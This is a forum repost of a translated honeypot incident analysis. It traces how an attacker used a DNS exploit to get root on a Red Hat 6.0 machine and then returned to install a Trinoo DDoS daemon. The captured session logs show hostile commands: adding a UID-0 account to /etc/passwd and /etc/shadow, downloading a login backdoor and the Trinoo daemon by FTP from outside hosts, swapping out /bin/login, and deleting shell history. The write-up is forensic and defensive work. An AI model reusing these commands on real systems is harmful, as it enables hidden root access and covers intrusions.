返回   青蛙论坛 » IT论坛 » 操作系统类
用户名
密码
帮助 会员 日历 标记论坛为已读

回复
 
主题工具 显示模式
旧 11-18-2006, 13:10   #1
chyangwa
蝌蚪-小毛驴
 
chyangwa的头像
 
注册日期: Nov 2000
来自: 上海
帖子: 8,285
精华: 6
一次被DNS攻击後的分析

一次被DNS攻击後的分析
来源:http://www.fanqiang.com (2001-05-20 09:04:00)



BY XUNDI

原文作者:lance@spitzner.net

这篇文章是关於被DNS攻击後的系统分析,通过这个分析可以了解攻击者的行为,能很好的了解怎样攻击,攻击後做什麽等各种行为,有助你更好的维护系统。




背景

此文资讯与honeypot--http://project.honeynet.org/
有关的,Honeypot在REDHAT6.0上是一个预设的服务装设,其字面意思是蜜缸,呵呵,即使说用来引诱某些...的一个陷阱,呵呵。下面分析的所有IP位址用户帐号和Keyin的资讯是真实的,除了密码资讯,这样是为了更直接的了解整个过程。所有SNIFF资讯是通过SNORT格式展现的;http://www.snort.org/的SNORT是一个常用的嗅探器,对於侦测系统入侵分析来说是一个不错的工具,我使用在http://www.whitehats.com/的MAX VISION 的IDS签字。

攻击行为
在四月26号,snort提醒我其中的一个系统正受到一个'noop'攻击,资讯包装载包含noops的资讯,在此情况下,SNORT探测到攻击和记录了警告资讯到/var/log/messages文件中(使用http://www.enteract.com/~lspitz/swatch.html--swatch来监控),注意这文中172.16.1.107的IP位址是含有honeypot的机器,其他的位址是black-hat(黑帽子)使用的IP位址。

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

我的honeypots接受无数探测,扫描和查询,而且下面的一个警告资讯使我注意到其中一个系统可能被破坏,下面的系统LOG资讯指示攻击者正开始了一个连接和LOGIN了系统:

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

从上面的情况可以看到,入侵者已经获得超级用户权利和控制了整个系统,但这是怎样完成的呢,我们下面开始分析:

分析

当分析一攻击的时候,最好的位置是在开始端,即攻击者是从哪开始的,攻击者一般开始是收集系统资讯,可以让他获得系统所存在的漏洞,如果你的系统被破坏,这就表明攻击者不是第一次与你的系统通信了,大多数攻击者必须通过对你系统的连接获得初始化的资讯。

所以我们从最开始的资讯收集开始,从第一条资讯可以知道攻击初於53连接埠,这表示在我们系统上发动了一个DNS攻击,所以我通过我的snort alerts--http://www.enteract.com/~lspitz/probed.txt来发现一些DNS可能的资讯探测,我们发现一DNS版本查询探测的资讯:

Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

注意,这个探测日期是4月25日,我们系统被攻击是在4月26号,系统是在被探测後的一天被入侵的,所以我猜测攻击者是使用一些扫描器扫描出一些关於DNS漏洞的资讯,扫描以後,攻击者查看扫描结果,获得系统漏洞资讯,然後启用他们的EXPLOIT。
这样我们可以得到如下结论:在4月25号被侦测後,後一天被侵入,通过我们的IDS警告,我们获知我们是被DNS漏洞攻击。

THE EXPLOIT:
类似於大多数商业IDS系统,snort可以显示我们所有IP资讯包装载数据,我们就使用这功能来分析EXPLOIT,这个EXPLOIT资讯可以从snort的LOG记录获得(存储在tcpdump两进制格式)。我查询snort的LOG记录并开始分析攻击开始时候的资讯包,我没有把资讯限制在仅查询主机63.336.81.13,主要是因为攻击者使用三个
不同系统来执行这个EXPLOIT,这个EXPLOIT的目标是在远端主机上获得ROOT SHELL,一旦攻击者获得ROOT SHELL,他们可以以ROOT身份执行所有命令,还通常会在/etc/passwd和/etc/shadow文件中增加帐号,下面的获得ROOT SHELL後执行的一些命令:

cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow

echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow

从上面可以知道,攻击者执行了uname -a 查询了系统,和PWD查询目前工作目录,和ID查看UID,并增加了twin和hantu两个帐号,使用了相同的密码,必须注意,twin使用了UID为506,而hantu使用了UID为0(另一方面hantu是印度尼西亚语言中的鬼魂的意思),要知道,大多数系统中不允许UID为0的帐号远端TELNET,所以起建立了一个可以远端TELNET的帐号,并建立了以後可以SU到ROOT的帐号。在90秒内攻击者利用了EXPLOIT程式进入系统,并获得ROOT权利(可以通过下面的LOG记录),

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

现在要分析其下一步将做什麽?

获得存取权利後的活动

比较幸运的是,TELNET是明文通讯协定,对数据没有进行加密,这表示我们可以解开其踪迹和捕获其击键记录,而snort就做好了这些,这就是snort另一个好处,通过捕获对TELNET交谈的击键记录,我们可以判断攻击者在做何工作,snort捕获了不但是STDIN(击键),而且还有STDOUT 和STDER记录,让我们来看看TELNET交谈和入侵者的活动吧:

开始,我们的朋友一twin身份TELNET系统(从213.28.22.189),并获得超级用户身份-hantu,这要记住他不能以UID为0的身份TELNET。

#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r

下一步,攻击者去其他机器抓取ROOTKIT程式,如下:

[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Passwordassword
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.

他FTP获得了後门程式,编译了bj.c,并装设代替了/sbin/login程式,(从下面的记录来看,攻击者使用了COPY和贴上去的工作):

root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old
rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant

然後他起用了後门程式:

[root@apollo /]# chown root:bin login
chown: login: No such file or directory
[root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
[root@apollo /]# chmod u-w login
chmod: login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/xstat
[root@apollo /]# cp /bin/login /usr/bin/old
[root@apollo /]# rm /bin/login
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp bin /usr/bin/xstat
[root@apollo /]# mv login /bin/login
mv: login: No such file or directory
[root@apollo /]# rm bj.c

後来从记录来看,攻击者并没有成功,他又一次FTP到站点再次下载了後门:

[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Passwordassword
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.

这是攻击者第二次尝试了编译後门,注意他还是使用"cut 和 paste" 命令:

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old
rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast

我们注意到编译的後门被采用,并把合法的/bin/login移到和命名为了/usr/bin/xstat,并把编译後的bj.c代码代替了/bin/login,这个後门程式允许任何人把TERM设定为ct9111可以进行不用认的存取:

[root@apollo /]# chown root:bin login
[root@apollo /]# chmod 4555 login
[root@apollo /]# chmod u-w login
[root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
[root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp bin /usr/bin/xstat
[root@apollo /]# mv login /bin/login

下面的是攻击者摸去其脚印的活动,我相信他使用了脚本程式,并使用了CUT和PASTE,因为注意所有命令的执行只有一个命令提示符,并从下面的记录我们可以知道这个清理的脚本语言名字为'generic' ,注意它是怎样解除这些文件的:

[root@apollo /]# rm bj.c
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ;
rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ;
rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ;
rm /sbin/por rm /tmp/h ; rm /usr

sbin/rpc.portmap ; rm -rf rm -rf /root/.ba rm -rf /root/.bash_history ; rm -rf /usr/sbin/named
359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ;
rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ;
rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr

rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba rm -rf /usr/s 359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory

这发现了一个有趣的事情,这个攻击者使用的generic清理脚本在尝试解除不存在文件的时候产生了错误,我判断攻击者看到了这些资讯并尝试了手工解除这些文件,经管这些文件不存在:

rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# exit
exit
[twin@apollo /]$ exit
logout

到这为止,他离开了系统,并装设了BJ.C後门,这个後门允许未认的存取,只要把TERM设定为VT9111即可。後来,攻击者又多次进行了连接後修改系统。


返回後的活动,装设TRINOO


在系统被攻击後,我离线检查了系统上的数据,如使用Tripwire,後来,我注意到下一星期多个系统又尝试连接这台机器,很明显攻击者想再次回来,所以,我又把这台机器接上来INTERNET,很好奇想知道这个攻击者想在这机器上再做些什麽事情,果然,两星期後,攻击者又回来了,我们再次记录了他的击键记录,检查了TELNET交谈进程并知道怎样使我们的系统装设了TRINO 用户端程式:

在5月9号,10:45早上,攻击者从24.7.85.192 再次TELNET机器,注意其设定了VT9111不认进入了系统:

!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var

在系统上,他想使用DNS,但是,这台机器上的DNS服务已经被破坏,因为DNS被用来EXPLOIT获得ROOT权限,因此系统不能在解析网栏位标签了:

[root@apollo /]# nslookup magix

[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101

攻击者在FTP系统到新加坡并下载了一些新的ROOTKIT工具,注意建立了一个.s的隐藏目录并存储了ROOTKIT工具:

[root@apollo /]# mkdir .s
[root@apollo /]# cd .s
[root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
[root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
[root@apollo /.s]#
[root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.

他在那台机器上也使用了相同的用户名字:

Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
[root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
[root@apollo daemon]# ./ns

攻击者装设和使用了Trinoo用户端,下一步他尝试跳到另一台机器,注意他又设定了不同的VT TERM,这次连接没有成功,因为DNS解析没有成功:

[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
[root@apollo daemon]# exit
exit

这个朋友离开不久,并从其他系统上有返回来(137.132.216.35) :

!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
@apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
!!!!!!Connection closed by foreign host.
te8ot@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
itoot@apollo /]# exit
exit

根据下面的这些活动,可以知道其尝试使用TRINOO攻击其他系统,这个时候,我断开了系统的连接,攻击者企图使用控制的机器并想破坏其他系统的目的,可以通过监视系统的连接获得:

May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335


附录:
1,有关怎样建立Honeypot请参看:http://project.honeynet.org/papers/honeypot/
2,snort的相应网址:http://www.snort.org/

(http://www.fanqiang.com)
chyangwa离线中   回复时引用此帖
回复


主题工具
显示模式

发帖规则
不可以发表新主题
不可以回复主题
不可以上传附件
不可以编辑您的帖子

vB 代码开启
[IMG]代码开启
HTML代码关闭
论坛跳转



所有的时间均为北京时间。 现在的时间是 22:52.


NewvBB Core 1.1 Final - vBulletin v3.0.3
中文化与插件制作 NewVBB.com™ 2024。
友情连接        
摩托车.上海.中国        
         
         
         
         
         

上海市通信管理局
沪ICP备010502
沪ICP备05000578号